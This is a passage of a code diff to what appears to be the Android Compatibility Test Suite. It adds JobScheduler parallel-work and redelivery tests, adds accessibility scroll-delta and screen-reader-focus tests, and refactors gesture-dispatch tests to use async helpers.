+    private boolean waitUntilTrue(long maxWait, Condition condition) throws Exception {
+        final long deadLine = SystemClock.uptimeMillis() + maxWait;
+        do {
+            Thread.sleep(POLL_INTERVAL);
+        } while (!condition.isTrue() && SystemClock.uptimeMillis() < deadLine);
+        return condition.isTrue();
+    }
+
+    private static final class TestJobStatus {
+        int jobId;
+        boolean running;
+        private void reset() {
+            running = false;
+        }
+    }
+
+    private interface Condition {
+        boolean isTrue() throws Exception;
+    }
+}
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/EnqueueJobWorkTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/EnqueueJobWorkTest.java
index 6d2599f..604ccce 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/EnqueueJobWorkTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/EnqueueJobWorkTest.java
@@ -186,6 +186,87 @@
     }
 
     /**
+     * Test basic enqueueing batches of work that will be executed in parallel.
+     */
+    public void testEnqueueParallel2Work() throws Exception {
+        Intent work1 = new Intent("work1");
+        Intent work2 = new Intent("work2");
+        TestWorkItem[] work = new TestWorkItem[] {
+                new TestWorkItem(work1, TestWorkItem.FLAG_DELAY_COMPLETE_PUSH_BACK),
+                new TestWorkItem(work2, TestWorkItem.FLAG_DELAY_COMPLETE_PUSH_BACK) };
+        kTestEnvironment.setExpectedExecutions(1);
+        kTestEnvironment.setExpectedWork(work);
+        JobInfo ji = mBuilder.setOverrideDeadline(0).build();
+        mJobScheduler.enqueue(ji, new JobWorkItem(work1));
+        mJobScheduler.enqueue(ji, new JobWorkItem(work2));
+        kTestEnvironment.readyToWork();
+        assertTrue("Job with work enqueued did not fire.",
+                kTestEnvironment.awaitExecution());
+        compareWork(work, kTestEnvironment.getLastReceivedWork());
+    }
+
+    /**
+     * Test basic enqueueing batches of work that will be executed in parallel and completed
+     * in reverse order.
+     */
+    public void testEnqueueParallel2ReverseWork() throws Exception {
+        Intent work1 = new Intent("work1");
+        Intent work2 = new Intent("work2");
+        TestWorkItem[] work = new TestWorkItem[] {
+                new TestWorkItem(work1, TestWorkItem.FLAG_DELAY_COMPLETE_PUSH_BACK),
+                new TestWorkItem(work2, TestWorkItem.FLAG_DELAY_COMPLETE_PUSH_TOP) };
+        kTestEnvironment.setExpectedExecutions(1);
+        kTestEnvironment.setExpectedWork(work);
+        JobInfo ji = mBuilder.setOverrideDeadline(0).build();
+        mJobScheduler.enqueue(ji, new JobWorkItem(work1));
+        mJobScheduler.enqueue(ji, new JobWorkItem(work2));
+        kTestEnvironment.readyToWork();
+        assertTrue("Job with work enqueued did not fire.",
+                kTestEnvironment.awaitExecution());
+        compareWork(work, kTestEnvironment.getLastReceivedWork());
+    }
+
+    /**
+     * Test basic enqueueing batches of work that will be executed in parallel.
+     */
+    public void testEnqueueMultipleParallelWork() throws Exception {
+        Intent work1 = new Intent("work1");
+        Intent work2 = new Intent("work2");
+        Intent work3 = new Intent("work3");
+        Intent work4 = new Intent("work4");
+        Intent work5 = new Intent("work5");
+        Intent work6 = new Intent("work6");
+        Intent work7 = new Intent("work7");
+        Intent work8 = new Intent("work8");
+        TestWorkItem[] work = new TestWorkItem[] {
+                new TestWorkItem(work1, TestWorkItem.FLAG_DELAY_COMPLETE_PUSH_BACK),
+                new TestWorkItem(work2, TestWorkItem.FLAG_DELAY_COMPLETE_PUSH_TOP),
+                new TestWorkItem(work3, TestWorkItem.FLAG_DELAY_COMPLETE_PUSH_BACK
+                        | TestWorkItem.FLAG_COMPLETE_NEXT),
+                new TestWorkItem(work4, TestWorkItem.FLAG_COMPLETE_NEXT),
+                new TestWorkItem(work5, TestWorkItem.FLAG_DELAY_COMPLETE_PUSH_TOP),
+                new TestWorkItem(work6, TestWorkItem.FLAG_DELAY_COMPLETE_PUSH_TOP),
+                new TestWorkItem(work7, TestWorkItem.FLAG_DELAY_COMPLETE_PUSH_TOP
+                        | TestWorkItem.FLAG_COMPLETE_NEXT),
+                new TestWorkItem(work8) };
+        kTestEnvironment.setExpectedExecutions(1);
+        kTestEnvironment.setExpectedWork(work);
+        JobInfo ji = mBuilder.setOverrideDeadline(0).build();
+        mJobScheduler.enqueue(ji, new JobWorkItem(work1));
+        mJobScheduler.enqueue(ji, new JobWorkItem(work2));
+        mJobScheduler.enqueue(ji, new JobWorkItem(work3));
+        mJobScheduler.enqueue(ji, new JobWorkItem(work4));
+        mJobScheduler.enqueue(ji, new JobWorkItem(work5));
+        mJobScheduler.enqueue(ji, new JobWorkItem(work6));
+        mJobScheduler.enqueue(ji, new JobWorkItem(work7));
+        mJobScheduler.enqueue(ji, new JobWorkItem(work8));
+        kTestEnvironment.readyToWork();
+        assertTrue("Job with work enqueued did not fire.",
+                kTestEnvironment.awaitExecution());
+        compareWork(work, kTestEnvironment.getLastReceivedWork());
+    }
+
+    /**
      * Test job getting stopped while processing work and that work being redelivered.
      */
     public void testEnqueueMultipleRedeliver() throws Exception {
@@ -238,6 +319,61 @@
     }
 
     /**
+     * Test job getting stopped while processing work in parallel and that work being redelivered.
+     */
+    public void testEnqueueMultipleParallelRedeliver() throws Exception {
+        Intent work1 = new Intent("work1");
+        Intent work2 = new Intent("work2");
+        Intent work3 = new Intent("work3");
+        Intent work4 = new Intent("work4");
+        Intent work5 = new Intent("work5");
+        Intent work6 = new Intent("work6");
+        TestWorkItem[] initialWork = new TestWorkItem[] {
+                new TestWorkItem(work1),
+                new TestWorkItem(work2, TestWorkItem.FLAG_DELAY_COMPLETE_PUSH_BACK),
+                new TestWorkItem(work3, TestWorkItem.FLAG_DELAY_COMPLETE_PUSH_BACK),
+                new TestWorkItem(work4, TestWorkItem.FLAG_WAIT_FOR_STOP, 1) };
+        kTestEnvironment.setExpectedExecutions(1);
+        kTestEnvironment.setExpectedWaitForStop();
+        kTestEnvironment.setExpectedWork(initialWork);
+        JobInfo ji = mBuilder.setOverrideDeadline(0).build();
+        mJobScheduler.enqueue(ji, new JobWorkItem(work1));
+        mJobScheduler.enqueue(ji, new JobWorkItem(work2));
+        mJobScheduler.enqueue(ji, new JobWorkItem(work3));
+        mJobScheduler.enqueue(ji, new JobWorkItem(work4));
+        kTestEnvironment.readyToWork();
+
+        // Now wait for the job to get to the point where it is processing the last
+        // work and waiting for it to be stopped.
+        assertTrue("Job with work enqueued did not wait to stop.",
+                kTestEnvironment.awaitWaitingForStop());
+
+        // Cause the job to timeout (stop) immediately, and wait for its execution to finish.
+        SystemUtil.runShellCommand(getInstrumentation(), "cmd jobscheduler timeout "
+                + kJobServiceComponent.getPackageName() + " " + ENQUEUE_WORK_JOB_ID);
+        assertTrue("Job with work enqueued did not finish.",
+                kTestEnvironment.awaitExecution());
+        compareWork(initialWork, kTestEnvironment.getLastReceivedWork());
+
+        // Now we are going to add some more work, restart the job, and see if it correctly
+        // redelivers the last work and delivers the new work.
+        TestWorkItem[] finalWork = new TestWorkItem[] {
+                new TestWorkItem(work2, 0, 2), new TestWorkItem(work3, 0, 2),
+                new TestWorkItem(work4, 0, 2), new TestWorkItem(work5), new TestWorkItem(work6) };
+        kTestEnvironment.setExpectedExecutions(1);
+        kTestEnvironment.setExpectedWork(finalWork);
+        mJobScheduler.enqueue(ji, new JobWorkItem(work5));
+        mJobScheduler.enqueue(ji, new JobWorkItem(work6));
+        kTestEnvironment.readyToWork();
+        SystemUtil.runShellCommand(getInstrumentation(), "cmd jobscheduler run "
+                + kJobServiceComponent.getPackageName() + " " + ENQUEUE_WORK_JOB_ID);
+
+        assertTrue("Restarted with work enqueued did not execute.",
+                kTestEnvironment.awaitExecution());
+        compareWork(finalWork, kTestEnvironment.getLastReceivedWork());
+    }
+
+    /**
      * Test basic enqueueing batches of work.
      */
     public void testEnqueueMultipleUriGrantWork() throws Exception {
diff --git a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityEventTest.java b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityEventTest.java
index aa9db4f..c4d1dda 100644
--- a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityEventTest.java
+++ b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityEventTest.java
@@ -32,7 +32,7 @@
 public class AccessibilityEventTest extends TestCase {
 
     /** The number of properties of the {@link AccessibilityEvent} class. */
-    private static final int NON_STATIC_FIELD_COUNT = 29;
+    private static final int NON_STATIC_FIELD_COUNT = 31;
 
     /**
      * Test that no new fields have been added without updating the
@@ -206,6 +206,8 @@
         sentEvent.setMaxScrollY(1);
         sentEvent.setScrollX(1);
         sentEvent.setScrollY(1);
+        sentEvent.setScrollDeltaX(3);
+        sentEvent.setScrollDeltaY(3);
         sentEvent.setToIndex(1);
         sentEvent.setScrollable(true);
         sentEvent.setAction(AccessibilityNodeInfo.ACTION_ACCESSIBILITY_FOCUS);
@@ -261,6 +263,10 @@
                 receivedEvent.getScrollX());
         assertSame("scrollY has incorect value", expectedEvent.getScrollY(),
                 receivedEvent.getScrollY());
+        assertSame("scrollDeltaX has incorect value", expectedEvent.getScrollDeltaX(),
+                receivedEvent.getScrollDeltaX());
+        assertSame("scrollDeltaY has incorect value", expectedEvent.getScrollDeltaY(),
+                receivedEvent.getScrollDeltaY());
         assertSame("toIndex has incorect value", expectedEvent.getToIndex(),
                 receivedEvent.getToIndex());
         assertSame("scrollable has incorect value", expectedEvent.isScrollable(),
diff --git a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityRecordTest.java b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityRecordTest.java
index 7862cb4..5bf02c8 100644
--- a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityRecordTest.java
+++ b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityRecordTest.java
@@ -35,7 +35,7 @@
 public class AccessibilityRecordTest extends AndroidTestCase {
 
     /** The number of properties of the {@link AccessibilityEvent} class. */
-    private static final int NON_STATIC_FIELD_COUNT = 22;
+    private static final int NON_STATIC_FIELD_COUNT = 24;
 
     /**
      * Test that no new fields have been added without updating the
diff --git a/tests/accessibilityservice/res/layout/accessibility_focus_and_input_focus_sync_test.xml b/tests/accessibilityservice/res/layout/accessibility_focus_and_input_focus_sync_test.xml
index cb3d153..6a7ccf5 100644
--- a/tests/accessibilityservice/res/layout/accessibility_focus_and_input_focus_sync_test.xml
+++ b/tests/accessibilityservice/res/layout/accessibility_focus_and_input_focus_sync_test.xml
@@ -77,6 +77,7 @@
               android:id="@+id/secondButton"
               android:layout_width="wrap_content"
               android:layout_height="wrap_content"
+              android:screenReaderFocusable="true"
               android:text="@string/secondButton" />
 
       </LinearLayout>
diff --git a/tests/accessibilityservice/res/xml/stub_gesture_dispatch_a11y_service.xml b/tests/accessibilityservice/res/xml/stub_gesture_dispatch_a11y_service.xml
index 912c9c4..f4f6089 100644
--- a/tests/accessibilityservice/res/xml/stub_gesture_dispatch_a11y_service.xml
+++ b/tests/accessibilityservice/res/xml/stub_gesture_dispatch_a11y_service.xml
@@ -16,9 +16,9 @@
 -->
 
 <accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
-                       android:description="@string/stub_gesture_dispatch_a11y_service_description"
-                       android:accessibilityEventTypes="typeAllMask"
-                       android:accessibilityFeedbackType="feedbackGeneric"
-                       android:accessibilityFlags="flagDefault"
-                       android:canPerformGestures="true"
-                       android:notificationTimeout="0" />
+        android:description="@string/stub_gesture_dispatch_a11y_service_description"
+        android:accessibilityEventTypes="typeAllMask"
+        android:accessibilityFeedbackType="feedbackGeneric"
+        android:accessibilityFlags="flagDefault"
+        android:canPerformGestures="true"
+        android:notificationTimeout="0" />
diff --git a/tests/accessibilityservice/res/xml/stub_magnification_a11y_service.xml b/tests/accessibilityservice/res/xml/stub_magnification_a11y_service.xml
index 110f741..2559392 100644
--- a/tests/accessibilityservice/res/xml/stub_magnification_a11y_service.xml
+++ b/tests/accessibilityservice/res/xml/stub_magnification_a11y_service.xml
@@ -15,10 +15,11 @@
 -->
 
 <accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
-    android:accessibilityEventTypes="typeAllMask"
-    android:accessibilityFeedbackType="feedbackGeneric"
-    android:canRetrieveWindowContent="true"
-    android:canRequestTouchExplorationMode="true"
-    android:canRequestEnhancedWebAccessibility="true"
-    android:canRequestFilterKeyEvents="true"
-    android:canControlMagnification="true" />
+        android:accessibilityEventTypes="typeAllMask"
+        android:accessibilityFeedbackType="feedbackGeneric"
+        android:canRetrieveWindowContent="true"
+        android:canRequestTouchExplorationMode="true"
+        android:canRequestEnhancedWebAccessibility="true"
+        android:canRequestFilterKeyEvents="true"
+        android:canControlMagnification="true"
+        android:canPerformGestures="true"/>
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityFocusAndInputFocusSyncTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityFocusAndInputFocusSyncTest.java
index 08e231f..47524c9 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityFocusAndInputFocusSyncTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityFocusAndInputFocusSyncTest.java
@@ -17,8 +17,10 @@
 import static android.view.accessibility.AccessibilityNodeInfo.ACTION_ACCESSIBILITY_FOCUS;
 import static android.view.accessibility.AccessibilityNodeInfo.ACTION_CLEAR_ACCESSIBILITY_FOCUS;
 
+import android.app.Instrumentation;
 import android.app.UiAutomation;
 import android.test.suitebuilder.annotation.MediumTest;
+import android.view.View;
 import android.view.accessibility.AccessibilityEvent;
 import android.view.accessibility.AccessibilityNodeInfo;
 
@@ -26,6 +28,7 @@
 
 import java.util.LinkedList;
 import java.util.Queue;
+import java.util.concurrent.atomic.AtomicBoolean;
 
 /**
  * Test cases for testing the accessibility focus APIs exposed to accessibility
@@ -228,4 +231,29 @@
             }
         }
     }
+
+    public void testScreenReaderFocusableAttribute_reportedToAccessibility() {
+        final Instrumentation instrumentation = getInstrumentation();
+        final UiAutomation uiAutomation = instrumentation.getUiAutomation();
+        final AccessibilityNodeInfo secondButton = uiAutomation.getRootInActiveWindow()
+                .findAccessibilityNodeInfosByText(getString(R.string.secondButton)).get(0);
+        assertTrue("Screen reader focusability not propagated from xml to accessibility",
+                secondButton.isScreenReaderFocusable());
+
+        // Verify the setter and getter work
+        final AtomicBoolean isScreenReaderFocusableAtomic = new AtomicBoolean(false);
+        instrumentation.runOnMainSync(() -> {
+            View secondButtonView = getActivity().findViewById(R.id.secondButton);
+            secondButtonView.setScreenReaderFocusable(false);
+            isScreenReaderFocusableAtomic.set(secondButtonView.isScreenReaderFocusable());
+        });
+
+        assertFalse("isScreenReaderFocusable did not change after value set",
+                isScreenReaderFocusableAtomic.get());
+
+        secondButton.refresh();
+        assertFalse(
+                "Screen reader focusability not propagated to accessibility after calling setter",
+                secondButton.isScreenReaderFocusable());
+    }
 }
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java
index df8c6f3..b0f9218 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java
@@ -14,6 +14,17 @@
 
 package android.accessibilityservice.cts;
 
+import static android.accessibilityservice.cts.utils.AsyncUtils.await;
+import static android.accessibilityservice.cts.utils.AsyncUtils.awaitCancellation;
+import static android.accessibilityservice.cts.utils.GestureUtils.add;
+import static android.accessibilityservice.cts.utils.GestureUtils.ceil;
+import static android.accessibilityservice.cts.utils.GestureUtils.click;
+import static android.accessibilityservice.cts.utils.GestureUtils.diff;
+import static android.accessibilityservice.cts.utils.GestureUtils.dispatchGesture;
+import static android.accessibilityservice.cts.utils.GestureUtils.longClick;
+import static android.accessibilityservice.cts.utils.GestureUtils.path;
+import static android.accessibilityservice.cts.utils.GestureUtils.times;
+
 import static org.hamcrest.CoreMatchers.allOf;
 import static org.hamcrest.CoreMatchers.any;
 import static org.hamcrest.CoreMatchers.both;
@@ -21,6 +32,8 @@
 import static org.hamcrest.CoreMatchers.hasItem;
 import static org.hamcrest.MatcherAssert.assertThat;
 
+import static java.util.concurrent.TimeUnit.MILLISECONDS;
+
 import android.accessibilityservice.AccessibilityService;
 import android.accessibilityservice.GestureDescription;
 import android.accessibilityservice.GestureDescription.StrokeDescription;
@@ -28,17 +41,16 @@
 import android.content.pm.PackageManager;
 import android.graphics.Matrix;
 import android.graphics.Path;
-import android.graphics.Point;
 import android.graphics.PointF;
 import android.os.Bundle;
 import android.os.SystemClock;
 import android.test.ActivityInstrumentationTestCase2;
-import android.util.DisplayMetrics;
 import android.view.MotionEvent;
 import android.view.View;
 import android.view.ViewConfiguration;
 import android.view.WindowManager;
 import android.widget.TextView;
+
 import org.hamcrest.Description;
 import org.hamcrest.Matcher;
 import org.hamcrest.TypeSafeMatcher;
@@ -72,7 +84,6 @@
     final List<MotionEvent> mMotionEvents = new ArrayList<>();
     StubGestureAccessibilityService mService;
     MyTouchListener mMyTouchListener = new MyTouchListener();
-    MyGestureCallback mCallback;
     TextView mFullScreenTextView;
     int[] mViewLocation = new int[2];
     boolean mGotUpEvent;
@@ -107,7 +118,6 @@
         mService = StubGestureAccessibilityService.enableSelf(getInstrumentation());
 
         mMotionEvents.clear();
-        mCallback = new MyGestureCallback();
         mGotUpEvent = false;
     }
 
@@ -126,10 +136,8 @@
             return;
         }
 
-        Point clickPoint = new Point(10, 20);
-        GestureDescription click = createClickInViewBounds(clickPoint);
-        mService.runOnServiceSync(() -> mService.doDispatchGesture(click, mCallback, null));
-        mCallback.assertGestureCompletes(GESTURE_COMPLETION_TIMEOUT);
+        PointF clickPoint = new PointF(10, 20);
+        dispatch(clickWithinView(clickPoint), GESTURE_COMPLETION_TIMEOUT);
         waitForMotionEvents(any(MotionEvent.class), 2);
 
         assertEquals(2, mMotionEvents.size());
@@ -161,10 +169,8 @@
             return;
         }
 
-        Point clickPoint = new Point(10, 20);
-        GestureDescription longClick = createLongClickInViewBounds(clickPoint);
-        mService.runOnServiceSync(() -> mService.doDispatchGesture(longClick, mCallback, null));
-        mCallback.assertGestureCompletes(
+        PointF clickPoint = new PointF(10, 20);
+        dispatch(longClickWithinView(clickPoint),
                 ViewConfiguration.getLongPressTimeout() + GESTURE_COMPLETION_TIMEOUT);
 
         waitForMotionEvents(any(MotionEvent.class), 2);
@@ -183,13 +189,12 @@
             return;
         }
 
-        Point startPoint = new Point(10, 20);
-        Point endPoint = new Point(20, 40);
+        PointF startPoint = new PointF(10, 20);
+        PointF endPoint = new PointF(20, 40);
         int gestureTime = 500;
 
-        GestureDescription swipe = createSwipeInViewBounds(startPoint, endPoint, gestureTime);
-        mService.runOnServiceSync(() -> mService.doDispatchGesture(swipe, mCallback, null));
-        mCallback.assertGestureCompletes(gestureTime + GESTURE_COMPLETION_TIMEOUT);
+        dispatch(swipeWithinView(startPoint, endPoint, gestureTime),
+                gestureTime + GESTURE_COMPLETION_TIMEOUT);
         waitForMotionEvents(IS_ACTION_UP, 1);
 
         int numEvents = mMotionEvents.size();
@@ -206,30 +211,31 @@
             assertTrue(moveEvent.getEventTime() >= lastEventTime);
             float fractionOfSwipe =
                     ((float) (moveEvent.getEventTime() - downEvent.getEventTime())) / gestureTime;
-            float fractionX = ((float) (endPoint.x - startPoint.x)) * fractionOfSwipe + 0.5f;
-            float fractionY = ((float) (endPoint.y - startPoint.y)) * fractionOfSwipe + 0.5f;
-            Point intermediatePoint = new Point(startPoint);
-            intermediatePoint.offset((int) fractionX, (int) fractionY);
+            PointF intermediatePoint = add(startPoint,
+                    ceil(times(fractionOfSwipe, diff(endPoint, startPoint))));
             assertThat(moveEvent, both(IS_ACTION_MOVE).and(isAtPoint(intermediatePoint)));
             lastEventTime = moveEvent.getEventTime();
         }
     }
 
+    public void dispatch(GestureDescription gesture, int timeoutMs) {
+        await(dispatchGesture(mService, gesture), timeoutMs, MILLISECONDS);
+    }
+
     public void testSlowSwipe_shouldNotContainMovesForTinyMovement() throws InterruptedException {
         if (!mHasTouchScreen) {
             return;
         }
 
-        Point startPoint = new Point(10, 20);
-        Point intermediatePoint1 = new Point(10, 21);
-        Point intermediatePoint2 = new Point(11, 21);
-        Point intermediatePoint3 = new Point(11, 22);
-        Point endPoint = new Point(11, 22);
+        PointF startPoint = new PointF(10, 20);
+        PointF intermediatePoint1 = new PointF(10, 21);
+        PointF intermediatePoint2 = new PointF(11, 21);
+        PointF intermediatePoint3 = new PointF(11, 22);
+        PointF endPoint = new PointF(11, 22);
         int gestureTime = 1000;
 
-        GestureDescription swipe = createSwipeInViewBounds(startPoint, endPoint, gestureTime);
-        mService.runOnServiceSync(() -> mService.doDispatchGesture(swipe, mCallback, null));
-        mCallback.assertGestureCompletes(gestureTime + GESTURE_COMPLETION_TIMEOUT);
+        dispatch(swipeWithinView(startPoint, endPoint, gestureTime),
+                gestureTime + GESTURE_COMPLETION_TIMEOUT);
         waitForMotionEvents(IS_ACTION_UP, 1);
 
         assertEquals(5, mMotionEvents.size());
@@ -245,16 +251,14 @@
             return;
         }
 
-        Point centerPoint = new Point(50, 60);
+        PointF centerPoint = new PointF(50, 60);
         int startSpacing = 100;
         int endSpacing = 50;
         int gestureTime = 500;
         float pinchTolerance = 2.0f;
 
-        GestureDescription pinch = createPinchInViewBounds(centerPoint, startSpacing,
-                endSpacing, 45.0F, gestureTime);
-        mService.runOnServiceSync(() -> mService.doDispatchGesture(pinch, mCallback, null));
-        mCallback.assertGestureCompletes(gestureTime + GESTURE_COMPLETION_TIMEOUT);
+        dispatch(pinchWithinView(centerPoint, startSpacing, endSpacing, 45.0F, gestureTime),
+                gestureTime + GESTURE_COMPLETION_TIMEOUT);
         waitForMotionEvents(IS_ACTION_UP, 1);
         int numEvents = mMotionEvents.size();
 
@@ -313,13 +317,10 @@
             magRegionCenterPoint.set(magnificationController.getCenterX(),
                     magnificationController.getCenterY());
         });
-        final PointF magRegionOffsetPoint = new PointF();
-        magRegionOffsetPoint.set(magRegionCenterPoint);
-        magRegionOffsetPoint.offset(CLICK_OFFSET_X, CLICK_OFFSET_Y);
+        final PointF magRegionOffsetPoint
+                = add(magRegionCenterPoint, CLICK_OFFSET_X, CLICK_OFFSET_Y);
 
-        final PointF magRegionOffsetClickPoint = new PointF();
-        magRegionOffsetClickPoint.set(magRegionCenterPoint);
-        magRegionOffsetClickPoint.offset(
+        final PointF magRegionOffsetClickPoint = add(magRegionCenterPoint,
                 CLICK_OFFSET_X * MAGNIFICATION_FACTOR, CLICK_OFFSET_Y * MAGNIFICATION_FACTOR);
 
         try {
@@ -331,16 +332,16 @@
             assertTrue("Failed to set scale", setScale.get());
 
             // Click in the center of the magnification region
-            GestureDescription magRegionCenterClick = createClick(magRegionCenterPoint);
-            mService.runOnServiceSync(() -> mService.doDispatchGesture(
-                    magRegionCenterClick, mCallback, null));
-            mCallback.assertGestureCompletes(GESTURE_COMPLETION_TIMEOUT);
+            dispatch(new GestureDescription.Builder()
+                    .addStroke(click(magRegionCenterPoint))
+                    .build(),
+                    GESTURE_COMPLETION_TIMEOUT);
 
             // Click at a slightly offset point
-            GestureDescription magRegionOffsetClick = createClick(magRegionOffsetClickPoint);
-            mService.runOnServiceSync(() -> mService.doDispatchGesture(
-                    magRegionOffsetClick, mCallback, null));
-            mCallback.assertGestureCompletes(GESTURE_COMPLETION_TIMEOUT);
+            dispatch(new GestureDescription.Builder()
+                    .addStroke(click(magRegionOffsetClickPoint))
+                    .build(),
+                    GESTURE_COMPLETION_TIMEOUT);
             waitForMotionEvents(any(MotionEvent.class), 4);
         } finally {
             // Reset magnification
@@ -376,30 +377,25 @@
             return;
         }
 
-        Point start = new Point(10, 20);
-        Point mid1 = new Point(20, 20);
-        Point mid2 = new Point(20, 25);
-        Point end = new Point(20, 30);
+        PointF start = new PointF(10, 20);
+        PointF mid1 = new PointF(20, 20);
+        PointF mid2 = new PointF(20, 25);
+        PointF end = new PointF(20, 30);
         int gestureTime = 500;
 
         StrokeDescription s1 = new StrokeDescription(
-                linePathInViewBounds(start, mid1), 0, gestureTime, true);
+                lineWithinView(start, mid1), 0, gestureTime, true);
         StrokeDescription s2 = s1.continueStroke(
-                linePathInViewBounds(mid1, mid2), 0, gestureTime, true);
+                lineWithinView(mid1, mid2), 0, gestureTime, true);
         StrokeDescription s3 = s2.continueStroke(
-                linePathInViewBounds(mid2, end), 0, gestureTime, false);
+                lineWithinView(mid2, end), 0, gestureTime, false);
+
         GestureDescription gesture1 = new GestureDescription.Builder().addStroke(s1).build();
         GestureDescription gesture2 = new GestureDescription.Builder().addStroke(s2).build();
         GestureDescription gesture3 = new GestureDescription.Builder().addStroke(s3).build();
-
-        mService.runOnServiceSync(() -> mService.doDispatchGesture(gesture1, mCallback, null));
-        mCallback.assertGestureCompletes(gestureTime + GESTURE_COMPLETION_TIMEOUT);
-        mCallback.reset();
-        mService.runOnServiceSync(() -> mService.doDispatchGesture(gesture2, mCallback, null));
-        mCallback.assertGestureCompletes(gestureTime + GESTURE_COMPLETION_TIMEOUT);
-        mCallback.reset();
-        mService.runOnServiceSync(() -> mService.doDispatchGesture(gesture3, mCallback, null));
-        mCallback.assertGestureCompletes(gestureTime + GESTURE_COMPLETION_TIMEOUT);
+        dispatch(gesture1, gestureTime + GESTURE_COMPLETION_TIMEOUT);
+        dispatch(gesture2, gestureTime + GESTURE_COMPLETION_TIMEOUT);
+        dispatch(gesture3, gestureTime + GESTURE_COMPLETION_TIMEOUT);
         waitForMotionEvents(IS_ACTION_UP, 1);
 
         assertThat(mMotionEvents.get(0), allOf(IS_ACTION_DOWN, isAtPoint(start)));
@@ -415,25 +411,24 @@
             return;
         }
 
-        Point startPoint = new Point(10, 20);
-        Point midPoint = new Point(20, 20);
-        Point endPoint = new Point(20, 30);
+        PointF startPoint = new PointF(10, 20);
+        PointF midPoint = new PointF(20, 20);
+        PointF endPoint = new PointF(20, 30);
         int gestureTime = 500;
 
-        StrokeDescription stroke1 = new StrokeDescription(
-                linePathInViewBounds(startPoint, midPoint), 0, gestureTime, true);
-        GestureDescription gesture1 = new GestureDescription.Builder().addStroke(stroke1).build();
-        mService.runOnServiceSync(() -> mService.doDispatchGesture(gesture1, mCallback, null));
-        mCallback.assertGestureCompletes(gestureTime + GESTURE_COMPLETION_TIMEOUT);
+        StrokeDescription stroke1 =
+                new StrokeDescription(lineWithinView(startPoint, midPoint), 0, gestureTime, true);
+        dispatch(new GestureDescription.Builder().addStroke(stroke1).build(),
+                gestureTime + GESTURE_COMPLETION_TIMEOUT);
         waitForMotionEvents(both(IS_ACTION_MOVE).and(isAtPoint(midPoint)), 1);
 
-        StrokeDescription stroke2 = stroke1.continueStroke(
-                linePathInViewBounds(endPoint, midPoint), 0, gestureTime, false);
-        GestureDescription gesture2 = new GestureDescription.Builder().addStroke(stroke2).build();
-        mCallback.reset();
+        StrokeDescription stroke2 =
+                stroke1.continueStroke(lineWithinView(endPoint, midPoint), 0, gestureTime, false);
         mMotionEvents.clear();
-        mService.runOnServiceSync(() -> mService.doDispatchGesture(gesture2, mCallback, null));
-        mCallback.assertGestureCancels(gestureTime + GESTURE_COMPLETION_TIMEOUT);
+        awaitCancellation(
+                dispatchGesture(mService,
+                        new GestureDescription.Builder().addStroke(stroke2).build()),
+                gestureTime + GESTURE_COMPLETION_TIMEOUT, MILLISECONDS);
 
         waitForMotionEvents(IS_ACTION_CANCEL, 1);
         assertEquals(1, mMotionEvents.size());
@@ -444,23 +439,20 @@
             return;
         }
 
-        Point startPoint = new Point(10, 20);
-        Point midPoint = new Point(20, 20);
-        Point endPoint = new Point(20, 30);
+        PointF startPoint = new PointF(10, 20);
+        PointF midPoint = new PointF(20, 20);
+        PointF endPoint = new PointF(20, 30);
         int gestureTime = 500;
 
-        StrokeDescription stroke1 = new StrokeDescription(
-                linePathInViewBounds(startPoint, midPoint), 0, gestureTime, true);
-        GestureDescription gesture1 = new GestureDescription.Builder().addStroke(stroke1).build();
-        mService.runOnServiceSync(() -> mService.doDispatchGesture(gesture1, mCallback, null));
-        mCallback.assertGestureCompletes(gestureTime + GESTURE_COMPLETION_TIMEOUT);
+        StrokeDescription stroke1 =
+                new StrokeDescription(lineWithinView(startPoint, midPoint), 0, gestureTime, true);
+        dispatch(new GestureDescription.Builder().addStroke(stroke1).build(),
+                gestureTime + GESTURE_COMPLETION_TIMEOUT);
 
-        StrokeDescription stroke2 = new StrokeDescription(
-                linePathInViewBounds(midPoint, endPoint), 0, gestureTime, false);
-        GestureDescription gesture2 = new GestureDescription.Builder().addStroke(stroke2).build();
-        mCallback.reset();
-        mService.runOnServiceSync(() -> mService.doDispatchGesture(gesture2, mCallback, null));
-        mCallback.assertGestureCompletes(gestureTime + GESTURE_COMPLETION_TIMEOUT);
+        StrokeDescription stroke2 =
+                new StrokeDescription(lineWithinView(midPoint, endPoint), 0, gestureTime, false);
+        dispatch(new GestureDescription.Builder().addStroke(stroke2).build(),
+                gestureTime + GESTURE_COMPLETION_TIMEOUT);
 
         waitForMotionEvents(IS_ACTION_UP, 1);
 
@@ -479,20 +471,20 @@
             return;
         }
 
-        Point startPoint = new Point(10, 20);
-        Point midPoint = new Point(20, 20);
-        Point endPoint = new Point(20, 30);
+        PointF startPoint = new PointF(10, 20);
+        PointF midPoint = new PointF(20, 20);
+        PointF endPoint = new PointF(20, 30);
         int gestureTime = 500;
 
-        StrokeDescription stroke1 = new StrokeDescription(
-                linePathInViewBounds(startPoint, midPoint), 0, gestureTime, true);
+        StrokeDescription stroke1 =
+                new StrokeDescription(lineWithinView(startPoint, midPoint), 0, gestureTime, true);
 
-        StrokeDescription stroke2 = stroke1.continueStroke(
-                linePathInViewBounds(midPoint, endPoint), 0, gestureTime, false);
